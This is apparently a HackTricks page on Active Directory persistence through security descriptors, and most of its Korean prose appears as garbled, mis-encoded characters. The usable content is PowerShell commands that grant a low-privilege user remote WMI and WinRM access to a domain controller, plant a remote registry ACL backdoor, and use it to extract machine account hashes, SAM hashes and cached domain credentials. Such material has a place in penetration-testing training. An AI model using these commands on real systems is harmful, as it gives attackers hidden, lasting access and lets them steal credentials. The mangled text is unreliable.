Security Descriptors
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Security Descriptors
From the docs: Security Descriptor Definition Language (SDDL)๋ ๋ณด์ ์ค๋ช
์๋ฅผ ์ค๋ช
ํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํ์์ ์ ์ํฉ๋๋ค. SDDL์ DACL ๋ฐ SACL์ ๋ํด ACE ๋ฌธ์์ด์ ์ฌ์ฉํฉ๋๋ค: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;
๋ณด์ ์ค๋ช ์๋ ๊ฐ์ฒด๊ฐ ๊ฐ์ฒด์ ๋ํด ๊ฐ์ง ๊ถํ์ ์ ์ฅํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๊ฐ์ฒด์ ๋ณด์ ์ค๋ช ์์ ์กฐ๊ธ๋ง ๋ณ๊ฒฝ์ ๊ฐํ ์ ์๋ค๋ฉด, ํน๊ถ ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ด ๋ ํ์ ์์ด ํด๋น ๊ฐ์ฒด์ ๋ํ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ๊ถํ์ ์ป์ ์ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ด ์ง์์ฑ ๊ธฐ์ ์ ํน์ ๊ฐ์ฒด์ ๋ํด ํ์ํ ๋ชจ๋ ๊ถํ์ ์ป๋ ๋ฅ๋ ฅ์ ๊ธฐ๋ฐํ์ฌ, ์ผ๋ฐ์ ์ผ๋ก ๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ ์์ ์ ์ํํ ์ ์๊ฒ ํด์ค๋๋ค.
Access to WMI
์ฌ์ฉ์์๊ฒ ์๊ฒฉ WMI ์คํ์ ๋ํ ์ก์ธ์ค๋ฅผ ๋ถ์ฌํ ์ ์์ต๋๋ค using this:
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc โnamespace 'root\cimv2' -Verbose
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dcโnamespace 'root\cimv2' -Remove -Verbose #Remove
WinRM ์ ๊ทผ
์ฌ์ฉ์์๊ฒ winrm PS ์ฝ์์ ๋ํ ์ ๊ทผ ๊ถํ ๋ถ์ฌ ์ด ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ:
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
ํด์ ์๊ฒฉ ์ ๊ทผ
๋ ์ง์คํธ๋ฆฌ์ ์ ๊ทผํ๊ณ ํด์ ๋คํ๋ฅผ ์์ฑํ์ฌ Reg ๋ฐฑ๋์ด๋ฅผ ์ฌ์ฉํ์ฌ DAMP, ์ธ์ ๋ ์ง ์ปดํจํฐ์ ํด์, SAM ๋ฐ ์ปดํจํฐ์ ๋ชจ๋ ์บ์๋ AD ์๊ฒฉ ์ฆ๋ช ์ ๊ฒ์ํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์, ์ด๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ์ปดํจํฐ์ ๋ํ ์ผ๋ฐ ์ฌ์ฉ์์๊ฒ ์ด ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค:
# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
์ค๋ฒ ํฐ์ผ๋ฅผ ํ์ธํ์ฌ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ปดํจํฐ ๊ณ์ ํด์๋ฅผ ์ด๋ป๊ฒ ์ฌ์ฉํ ์ ์๋์ง ์์๋ณด์ธ์.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


